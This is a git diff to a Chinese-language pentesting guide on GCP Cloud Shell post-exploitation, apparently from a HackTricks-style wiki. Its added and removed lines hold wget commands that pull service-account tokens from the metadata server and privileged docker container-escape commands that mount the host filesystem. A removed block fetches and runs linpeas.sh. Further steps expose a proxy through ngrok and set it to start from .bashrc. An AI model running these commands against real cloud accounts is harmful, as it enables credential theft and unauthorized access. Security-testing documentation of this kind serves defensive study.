diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 9fd9a7d2b..8f452e143 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,46 +4,46 @@ ## Cloud Shell -有关 Cloud Shell 的更多信息,请参阅: +有关 Cloud Shell 的更多信息请参见: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### 从 metadata 获取用户 token -请注意 Google Cloud Shell 运行在容器内,你可以通过以下操作 **轻松逃逸到宿主机**: +只需访问 metadata server,你就可以获取一个 token,以当前登录用户的身份进行访问: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> 之前 cloud shell 在一个容器中运行,并且能访问宿主机的 docker socket。现在 Google 已经改变了架构,cloud shell 容器运行的是 "Docker in a container" 的设置。因此即使能在 cloud shell 中使用 docker,也无法通过 docker socket 逃逸到宿主机。 +> 请注意,之前 `docker.sock` 文件位于 `/google/host/var/run/docker.sock`,但现在已移动到 `/run/docker.sock`。
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-这不被 google 视为一个漏洞,但它能让你对该环境中发生的情况有更全面的了解。 - -此外,请注意,从主机上你可以找到 service account token: +此外,过去可以在 metadata server 中找到 cloud shell VM 所使用的 service account 的 token:
-Get service account from metadata +metadata 中的旧 service account ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -具有以下访问范围: - -
- -获取服务账户的访问范围 +具有以下作用域: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write ```
-使用 LinPEAS 枚举 metadata: -
-使用 LinPEAS 枚举 metadata -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
+### 将其用作代理 -在使用 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) 并使用 Service Account 的令牌后,**未发现任何权限**... - -### 将其作为代理使用 - -如果你想将你的 google cloud shell 实例作为代理使用,需要运行以下命令(或将它们插入 .bashrc 文件): +如果你想将你的 google cloud shell 实例用作代理,你需要运行以下命令(或将它们插入到 .bashrc 文件中):
@@ -79,7 +67,7 @@ sudo apt install -y squid ```
-顺便说明,Squid 是一个 HTTP 代理服务器。创建一个 **squid.conf** 文件,包含以下设置: +顺便说明:Squid 是一个 http 代理服务器。创建一个 **squid.conf** 文件,使用以下设置:
@@ -106,29 +94,29 @@ sudo cp squid.conf /etc/squid
-启动 squid 服务 +启动 Squid 服务 ```bash sudo service squid start ```
-使用 ngrok 使代理可以从外部访问: +使用 ngrok 使 proxy 可从外部访问:
-使用 ngrok 暴露代理 +使用 ngrok 暴露 proxy ```bash ./ngrok tcp 3128 ```
-运行后复制 tcp:// url。如果想从浏览器运行代理,建议去掉 tcp:// 部分和端口,并在浏览器代理设置的端口字段中填写端口(squid 是一个 http 代理服务器)。 +运行后复制 tcp:// url。如果你想从浏览器运行 proxy,建议移除 tcp:// 部分和 port,并把该 port 填入浏览器 proxy 设置的 port 字段中(squid 是一个 http proxy 服务器)。 -为了在启动时更好地使用,.bashrc 文件应包含以下几行: +为了在启动时更好地使用,.bashrc 文件应包含以下行:
-添加到 .bashrc 以实现自动启动 +添加到 .bashrc 以自动启动 ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ @@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-这些指令摘自 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 windows)的其他疯狂想法。 +这些说明摘自 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 Windows)的其他疯狂想法。 {{#include ../../../banners/hacktricks-training.md}}